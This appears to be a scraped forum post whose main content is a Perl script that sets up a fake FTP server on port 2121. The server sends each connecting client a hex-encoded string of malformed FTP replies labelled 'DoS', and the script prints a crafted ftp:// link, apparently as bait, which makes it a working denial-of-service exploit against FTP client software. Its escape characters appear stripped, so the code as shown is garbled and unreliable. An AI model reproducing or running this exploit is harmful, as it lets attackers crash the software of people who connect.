/hvaonline/posts/list/13.html JForum - http://www.jforum.net #!/usr/bin/perl #author: tomas kempinsky use strict; use Socket; my $port = shift || 2121; my $proto = getprotobyname('tcp'); my $payload = "x32x32x30x20x5ax0dx0ax33". "x33x31x20x5ax0dx0ax35x30". "x30x20x44x6fx53x0dx0ax35". "x30x30x20x5ax0dx0a"; socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, 1) or die "setsock: $!"; my $paddr = sockaddr_in($port, INADDR_ANY); bind(SERVER, $paddr) or die "bind: $!"; listen(SERVER, SOMAXCONN) or die "listen: $!"; print "ftp://D:oS@x0localhost:2121/n"; my $client_addr; while ($client_addr = accept(CLIENT, SERVER)) { # find out who connected my ($client_port, $client_ip) = sockaddr_in($client_addr); my $client_ipnum = inet_ntoa($client_ip); my $client_host = gethostbyaddr($client_ip, AF_INET); print ": $client_host", "[$client_ipnum]n"; # send them a message, close connection print CLIENT $payload; close CLIENT; }  ]]> /hvaonline/posts/list/3287.html#18735 /hvaonline/posts/list/3287.html#18735 GMT